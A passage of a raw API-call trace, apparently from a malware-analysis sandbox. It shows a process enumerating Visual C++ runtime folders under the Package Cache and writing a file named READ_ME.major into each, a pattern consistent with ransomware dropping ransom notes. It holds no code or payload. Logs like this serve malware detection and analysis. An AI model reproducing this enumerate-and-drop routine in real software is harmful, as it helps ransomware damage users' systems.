ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0164.809] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1dba9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a50eebf, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x6541e0 [0164.809] SetLastError (dwErrCode=0x12) [0164.809] GetLastError () returned 0x12 [0164.809] SetLastError (dwErrCode=0x12) [0164.809] GetLastError () returned 0x12 [0164.809] SetLastError (dwErrCode=0x12) [0164.809] FindNextFileW (in: hFindFile=0x6541e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1dba9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a50eebf, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0164.809] SetLastError (dwErrCode=0x12) [0164.809] GetLastError () returned 0x12 [0164.809] SetLastError (dwErrCode=0x12) [0164.809] GetLastError () returned 0x12 [0164.809] SetLastError (dwErrCode=0x12) [0164.809] FindNextFileW (in: hFindFile=0x6541e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a50eebf, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1a50eebf, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1a50eebf, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0164.809] SetLastError (dwErrCode=0x12) [0164.809] GetLastError () returned 0x12 [0164.809] SetLastError (dwErrCode=0x12) [0164.809] SetLastError (dwErrCode=0x12) [0164.809] FindNextFileW (in: hFindFile=0x6541e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f759d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd41e3e2d, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0164.809] SetLastError (dwErrCode=0x12) [0164.809] GetLastError () returned 0x12 [0164.809] SetLastError (dwErrCode=0x12) [0164.809] SetLastError (dwErrCode=0x12) [0164.810] SetLastError (dwErrCode=0x12) [0164.810] GetLastError () returned 0x12 [0164.810] SetLastError (dwErrCode=0x12) [0164.810] GetLastError () returned 0x12 [0164.810] SetLastError (dwErrCode=0x12) [0164.810] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\READ_ME.major" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x720 [0164.819] WriteFile (in: hFile=0x720, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0164.820] CloseHandle (hObject=0x720) returned 1 [0164.820] FindNextFileW (in: hFindFile=0x6541e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f759d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd41e3e2d, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0164.820] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f76e30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a50eebf, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x6547a0 [0164.820] SetLastError (dwErrCode=0x12) [0164.820] GetLastError () returned 0x12 [0164.820] SetLastError (dwErrCode=0x12) [0164.820] GetLastError () returned 0x12 [0164.821] SetLastError (dwErrCode=0x12) [0164.821] FindNextFileW (in: hFindFile=0x6547a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f76e30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a50eebf, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0164.821] SetLastError (dwErrCode=0x12) [0164.821] GetLastError () returned 0x12 [0164.821] SetLastError (dwErrCode=0x12) [0164.821] GetLastError () returned 0x12 [0164.821] SetLastError (dwErrCode=0x12) [0164.821] FindNextFileW (in: hFindFile=0x6547a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a50eebf, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1a50eebf, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1a50eebf, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0164.821] SetLastError (dwErrCode=0x12) [0164.821] GetLastError () returned 0x12 [0164.821] SetLastError (dwErrCode=0x12) [0164.821] SetLastError (dwErrCode=0x12) [0164.821] FindNextFileW (in: hFindFile=0x6547a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f7778e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0164.821] SetLastError (dwErrCode=0x12) [0164.821] GetLastError () returned 0x12 [0164.821] SetLastError (dwErrCode=0x12) [0164.821] SetLastError (dwErrCode=0x12) [0164.821] SetLastError (dwErrCode=0x12) [0164.821] GetLastError () returned 0x12 [0164.821] SetLastError (dwErrCode=0x12) [0164.821] GetLastError () returned 0x12 [0164.821] SetLastError (dwErrCode=0x12) [0164.821] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\READ_ME.major" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x724 [0164.829] WriteFile (in: hFile=0x724, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0164.830] CloseHandle (hObject=0x724) returned 1 [0164.830] FindNextFileW (in: hFindFile=0x6547a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f7778e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0164.830] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe636a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a53518f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x654120 [0164.830] SetLastError (dwErrCode=0x12) [0164.830] GetLastError () returned 0x12 [0164.830] SetLastError (dwErrCode=0x12) [0164.830] GetLastError () returned 0x12 [0164.830] SetLastError (dwErrCode=0x12) [0164.830] FindNextFileW (in: hFindFile=0x654120, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe636a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a53518f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0164.830] SetLastError (dwErrCode=0x12) [0164.830] GetLastError () returned 0x12 [0164.830] SetLastError (dwErrCode=0x12) [0164.830] GetLastError () returned 0x12 [0164.830] SetLastError (dwErrCode=0x12) [0164.830] FindNextFileW (in: hFindFile=0x654120, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a53518f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1a53518f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1a53518f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0164.830] SetLastError (dwErrCode=0x12) [0164.830] GetLastError () returned 0x12 [0164.830] SetLastError (dwErrCode=0x12) [0164.830] SetLastError (dwErrCode=0x12) [0164.830] FindNextFileW (in: hFindFile=0x654120, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3030713, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf14644f, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0164.831] SetLastError (dwErrCode=0x12) [0164.831] GetLastError () returned 0x12 [0164.831] SetLastError (dwErrCode=0x12) [0164.831] SetLastError (dwErrCode=0x12) [0164.831] SetLastError (dwErrCode=0x12) [0164.831] GetLastError () returned 0x12 [0164.831] SetLastError (dwErrCode=0x12) [0164.831] GetLastError () returned 0x12 [0164.831] SetLastError (dwErrCode=0x12) [0164.831] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\READ_ME.major" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x728 [0164.833] WriteFile (in: hFile=0x728, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0164.834] CloseHandle (hObject=0x728) returned 1 [0164.834] FindNextFileW (in: hFindFile=0x654120, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3030713, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf14644f, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0164.834] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033181, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a53518f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x654260 [0164.834] SetLastError (dwErrCode=0x12) [0164.835] GetLastError () returned 0x12 [0164.835] SetLastError (dwErrCode=0x12) [0164.835] GetLastError () returned 0x12 [0164.835] SetLastError (dwErrCode=0x12) [0164.835] FindNextFileW (in: hFindFile=0x654260, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033181, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a53518f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0164.835] SetLastError (dwErrCode=0x12) [0164.835] GetLastError () returned 0x12 [0164.835] SetLastError (dwErrCode=0x12) [0164.835] GetLastError () returned 0x12 [0164.835] SetLastError (dwErrCode=0x12) [0164.835] FindNextFileW (in: hFindFile=0x654260, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a53518f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1a53518f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1a53518f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0164.835] SetLastError (dwErrCode=0x12) [0164.835] GetLastError () returned 0x12 [0164.835] SetLastError (dwErrCode=0x12) [0164.835] SetLastError (dwErrCode=0x12) [0164.835] FindNextFileW (in: hFindFile=0x654260, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033a9d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0164.835] SetLastError (dwErrCode=0x12) [0164.835] GetLastError () returned 0x12 [0164.835] SetLastError (dwErrCode=0x12) [0164.835] SetLastError (dwErrCode=0x12) [0164.835] SetLastError (dwErrCode=0x12) [0164.835] GetLastError () returned 0x12 [0164.835] SetLastError (dwErrCode=0x12) [0164.835] GetLastError () returned 0x12 [0164.835] SetLastError (dwErrCode=0x12) [0164.835] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\READ_ME.major" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x72c [0164.837] WriteFile (in: hFile=0x72c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0164.838] CloseHandle (hObject=0x72c) returned 1 [0164.838] FindNextFileW (in: hFindFile=0x654260, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033a9d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0164.838] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc308016e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a68c4b2, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x6541a0 [0164.838] SetLastError (dwErrCode=0x12) [0164.838] GetLastError () returned 0x12 [0164.838] SetLastError (dwErrCode=0x12) [0164.838] GetLastError () returned 0x12 [0164.838] SetLastError (dwErrCode=0x12) [0164.838] FindNextFileW (in: hFindFile=0x6541a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc308016e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a68c4b2, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0164.838] SetLastError (dwErrCode=0x12) [0164.838] GetLastError () returned 0x12 [0164.838] SetLastError (dwErrCode=0x12) [0164.838] GetLastError () returned 0x12 [0164.838] SetLastError (dwErrCode=0x12) [0164.838] FindNextFileW (in: hFindFile=0x6541a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a68c4b2, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1a68c4b2, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1a68c4b2, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0164.838] SetLastError (dwErrCode=0x12) [0164.839] GetLastError () returned 0x12 [0164.839] SetLastError (dwErrCode=0x12) [0164.839] SetLastError (dwErrCode=0x12) [0164.839] FindNextFileW (in: hFindFile=0x6541a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3080926, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0164.839] SetLastError (dwErrCode=0x12) [0164.839] GetLastError () returned 0x12 [0164.839] SetLastError (dwErrCode=0x12) [0164.839] SetLastError (dwErrCode=0x12) [0164.839] SetLastError (dwErrCode=0x12) [0164.839] GetLastError () returned 0x12 [0164.839] SetLastError (dwErrCode=0x12) [0164.839] GetLastError () returned 0x12 [0164.839] SetLastError (dwErrCode=0x12) [0164.839] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\READ_ME.major" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x730 [0164.841] WriteFile (in: hFile=0x730, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0164.842] CloseHandle (hObject=0x730) returned 1 [0164.842] FindNextFileW (in: hFindFile=0x6541a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3080926, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0164.842] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x1a68c4b2, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x6542e0 [0164.842] SetLastError (dwErrCode=0x12) [0164.842] GetLastError () returned 0x12 [0164.842] SetLastError (dwErrCode=0x12) [0164.842] GetLastError () returned 0x12 [0164.842] SetLastError (dwErrCode=0x12) [0164.842] FindNextFileW (in: hFindFile=0x6542e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x1a68c4b2, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0164.842] SetLastError (dwErrCode=0x12) [0164.842] GetLastError () returned 0x12 [0164.842] SetLastError (dwErrCode=0x12) [0164.842] GetLastError () returned 0x12 [0164.842] SetLastError (dwErrCode=0x12) [0164.842] FindNextFileW (in: hFindFile=0x6542e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a68c4b2, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1a68c4b2, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1a68c4b2, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0164.842] SetLastError (dwErrCode=0x12) [0164.842] GetLastError () returned 0x12 [0164.843] SetLastError (dwErrCode=0x12) [0164.843] SetLastError (dwErrCode=0x12) [0164.843] FindNextFileW (in: hFindFile=0x6542e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc84ca0a, 